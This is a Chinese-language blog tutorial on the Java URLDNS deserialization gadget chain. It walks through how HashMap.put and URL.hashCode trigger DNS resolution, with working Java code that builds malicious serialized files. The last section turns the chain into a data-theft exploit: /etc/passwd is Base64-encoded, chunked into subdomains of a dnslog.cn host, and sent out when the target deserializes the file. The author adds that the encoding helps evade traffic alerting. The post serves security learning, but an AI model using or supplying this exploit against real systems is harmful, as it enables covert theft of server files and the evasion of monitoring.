java-URLDNS 链条审计

java-URLDNS 链条审计

URLDNS 链条,是我们学习 java 反序列化的启蒙链条,通过 java 内置的类函数调用,达到 DNS 外带数据的目的。

首先让我们来看一个小实验

从 dnslog.cn 平台获取一个域名

public class urlDNS {
    public void URL() throws UnknownHostException {
        InetAddress address = InetAddress.getByName("1112222221.aro9b9.dnslog.cn");
        System.out.println(address.getHostName());

    }

    public static void main(String[] args) throws UnknownHostException {
        urlDNS  url = new urlDNS();
        url.URL();
    }
}

image-20240903190455668

可以看到,我们在前边定义的字符串会被正常外带出来

1)hashmap

hashmap 可以说是 java 反序列化梦开始的地方,可以通过反射,put 等操作,给它赋值。而他默认也实现了 Serializable 接口,也有 readObject()方法。就是反序列化的入口。好多反序列化漏洞都是基于 hashmap 的接口调用利用的。

运行一下这段代码

public class urlDNS {
    public void URLtest() throws Exception {
        URL url = new URL("http://1122334455.xq8dz5.dnslog.cn");
        Map<URL,String> map = new HashMap<>();
        map.put(url,"1111");
    }

    public static void main(String[] args) throws Exception {
        urlDNS  url = new urlDNS();
        url.URLtest();
    }
}

image-20240903192106126

我们在上述代码中并没有进行域名的访问,我们的操作只不过是创建了一个 UR 对象,并把这个对象添加到了 hashmap 中,怎么会有 dnslog 的信息带出来呢?

让我们看一看这段代码具体干了什么

hashmap 的 put()方法 ==> hashmap 的 hash() == > URL 的 hashCode() ==> URLStreamHandler 的 hashCode()

==> URLStreamHandler 的 getHostAddress() 最终自动完成域名的解析

打个断点,一步一步跟进一下,就会明白这个链条

2)反序列化

构造 URLDNS 的序列化文件

public void serialize() throws Exception{
        URL url = new URL("http://111122223333355555567.jlxmu8.dnslog.cn");
        Map<URL,String> map = new HashMap<URL,String>();
        Class clazz = Class.forName("java.net.URL");
        Field hashCode = clazz.getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        hashCode.set(url,22);
        map.put(url,"111");
        hashCode.set(url,-1);


        FileOutputStream fos = new FileOutputStream("src/main/upload/dnslog.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(map);
        oos.close();
        fos.close();
    }

这个方法就是序列化一个 URLDNS 的利用链条,当目标主机对我们上传的 ser 文件,进行反序列化时,就会触发 hashmap 里的链条,导致攻击者可以读取服务器数据

因为要对 URL 里的 hashCode 字段赋值为-1 才能满足调用要求,我们利用了 java 的反射机制对其私有变量强制赋值为-1

目标机器上只要有反序列化的方法可以让我们注入成功,就可以读取目标主机的信息了

public void unseri() throws Exception{
        FileInputStream fis = new FileInputStream("src/main/upload/dnslog.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
        fis.close();
        ois.close();
    }

生成完序列化的 ser 文件,只需要执行反序列画这个方法,目标就会自动去调用我们已经构造好的 DNS 链条,实现数据外带

public static void main(String[] args) throws Exception{
        urlDNS urlDns = new urlDNS();
        // urlDns.serialize();
        urlDns.unseri();
 }

image-20240903200402651

3) 读取/etc/passwd

有了上边的基础,我们只需要把前面的字符串换成/etc/passwd 读取的变量是不是就可以读取出来了。

public void seriaPasswd() throws Exception{
    FileInputStream fis = new FileInputStream("src/main/upload/passwd");
    byte[] byteArray = new byte[fis.available()];
    fis.read(byteArray);
    String s = Base64.getEncoder().encodeToString(byteArray);
    System.out.println(s.length());
    int counts = s.length()/60;
    int tail = s.length()%60;
    List<Map> list = new ArrayList<>();
    for (int i = 0; i < counts; i++) {
        String substring = s.substring(i*60, 60*(i+1));
        // System.out.println(substring);
        URL url = new URL("http://"+ substring +".2xpfvy.dnslog.cn");
        Map<URL,String> map = new HashMap<>();
        map.put(url,"111");


        Class clazz = Class.forName("java.net.URL");
        Field hashCode = clazz.getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        hashCode.set(url,-1);
        list.add(map);
    }
    System.out.println(Arrays.toString(new List[]{list}));
    FileOutputStream fos = new FileOutputStream("src/main/upload/pass.ser");
    ObjectOutputStream oos = new ObjectOutputStream(fos);
    oos.writeObject(list);

}

由于域名不支持一些特殊字符,我们传递过程中可以进行 base64 加密,一方面可以保证我们拿到信息的完整性,另一方面,加密字符串不那么容易触发一些流量设备的告警,提高数据读取的隐蔽性。

为了演示方便,我把/etc/passwd 复制到了本地,

public void unseriaPasswd() throws Exception{
    FileInputStream fis = new FileInputStream("src/main/upload/pass.ser");
    ObjectInputStream ois = new ObjectInputStream(fis);
    ois.readObject();
}
public static void main(String[] args) throws Exception{
    urlDNS urlDns = new urlDNS();
    // urlDns.seriaPasswd();
    urlDns.unseriaPasswd();
}

image-20240903202038509

看到成功带出来 passwd 的内容,后边就是去处理用 base64 解密

基本原理就是这样。

posted @ 2024-09-03 20:30  Ling-X5  阅读(4)  评论(0编辑  收藏  举报